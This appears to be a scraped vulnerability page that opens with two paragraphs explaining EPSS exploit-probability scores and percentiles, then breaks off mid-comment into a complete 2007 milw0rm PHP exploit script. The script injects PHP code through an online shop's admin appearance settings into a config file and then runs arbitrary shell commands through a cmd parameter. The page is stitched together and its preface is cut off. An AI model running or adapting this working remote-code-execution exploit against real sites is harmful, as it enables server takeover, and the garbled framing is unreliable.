The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

"); * fclose($f); * ------------------[/source code]--------------------- * specially formed POST data will break the config file's structure. So, it is possible to inject * arbitrary php code in /cfg/appearence.inc.php. Solution: filtering backslash and single quote characters. */ error_reporting(0); set_time_limit(0); ini_set("max_execution_time",0); ini_set("default_socket_timeout",10); $url = $argv[1]; $cmd = $argv[2]; $url_parts = parse_url($url); $host = $url_parts['host']; $path = $url_parts['path']; if (isset($url_parts['port'])) $port = $url_parts['port']; else $port = 80; $packet ="GET {$path}admin.php?dpt=conf&sub=appearence HTTP/1.0\r\n"; $packet.="Host: {$host}\r\n"; $packet.="User-Agent: InAttack evil agent\r\n"; $packet.="Connection: close\r\n\r\n"; $resp = send($packet); echo "[~] Connecting to $host..."; $resp ? print(" OK\n") : die(" failed"); $inputnames=array("productscount","colscount","darkcolor","middlecolor","lightcolor","add2cart","bestchoice"); $matches=array(); foreach($inputnames as $input) { if (preg_match('@@',$resp,$matches)) $inputvalues[$input] = urlencode($matches[1]); elseif (preg_match('@@',$resp,$matches)) $inputvalues[$input] = "on"; } if (!isset($inputvalues) || sizeof($inputvalues)==0) die("[-] Exploit failed"); echo "[~] Sending shellcode..."; $data = makedata(1); $packet = "POST {$path}admin.php HTTP/1.0\r\n"; $packet.= "Host: $host\r\n"; $packet.= "User-Agent: InAttack evil agent\r\n"; $packet.= "Content-Length: ".strlen($data)."\r\n"; $packet.= "Content-Type: application/x-www-form-urlencoded\r\n"; $packet.= "Connection: keep-alive\r\n\r\n"; $packet.= $data; $resp = send($packet); $resp ? print(" OK\n") : die(" failed"); echo "[~] Executing command..."; $packet ="GET {$path}index.php?cmd=".urlencode($cmd)." HTTP/1.0\r\n"; $packet.="Host: {$host}\r\n"; $packet.="User-Agent: InAttack evil agent\r\n"; $packet.="Connection: close\r\n\r\n"; $resp = send($packet); $matches=array(); if (!preg_match('@InAttack(.*?)InAttack@s',$resp,$matches))echo("failed\n"); else (($result = $matches[1]) == 's4f3_m0d3') ? print(" failed\n[-] Safe_mode=On\n") : (($result == 'd1s4bl3d') ? print(" failed\n[-] system() is disabled\n") : printf(" OK\n%'-56s\n%s%'-56s\n",'',$result,'')); echo "[~] Restoring values..."; $data = makedata(); $packet = "POST {$path}admin.php HTTP/1.0\r\n"; $packet.= "Host: $host\r\n"; $packet.= "User-Agent: InAttack evil agent\r\n"; $packet.= "Content-Length: ".strlen($data)."\r\n"; $packet.= "Content-Type: application/x-www-form-urlencoded\r\n"; $packet.= "Connection: keep-alive\r\n\r\n"; $packet.= $data; $resp = send($packet); $resp ? print(" OK\n") : die(" failed"); function send($packet) { global $host,$port; $ock = @fsockopen(@gethostbyname($host),$port); if (!$ock) return false; else { fputs($ock, $packet); $html=''; while (!feof($ock)) $html.=fgets($ock); } return $html; } function makedata($modifyvalues=0) { global $inputvalues; $shellcode = '\');if(!empty($_GET["cmd"])&&!defined("INA")){echo"InAttack";if(!ini_get("safe_mode")){if(strpos(ini_get("disable_functions"),"system")===false){$c=$_GET["cmd"];if(get_magic_quotes_gpc()){$c=stripslashes($c);}system($c);}else{echo"d1s4bl3d";}}else{echo"s4f3_m0d3";}echo"InAttack";define("INA",true);}//'; $data = "dpt=conf&"; $data.= "sub=appearence&"; $data.= "save_appearence=1&"; $data.= "productscount={$inputvalues['productscount']}"; if ($modifyvalues==1) $data.=urlencode("\\".$shellcode)."&"; else $data.="&"; $data.= "colscount={$inputvalues['colscount']}"; if ($modifyvalues==1) $data.=urlencode($shellcode)."&"; else $data.="&"; $data.= "darkcolor={$inputvalues['darkcolor']}"; if ($modifyvalues==1) $data.=urlencode("\\\\".$shellcode)."&"; else $data.="&"; $data.= "middlecolor={$inputvalues['middlecolor']}&"; $data.= "lightcolor={$inputvalues['lightcolor']}&"; $data.= "add2cart={$inputvalues['add2cart']}&"; $data.= "bestchoice={$inputvalues['bestchoice']}"; return $data; } ## EOF ?> # milw0rm.com [2007-09-17]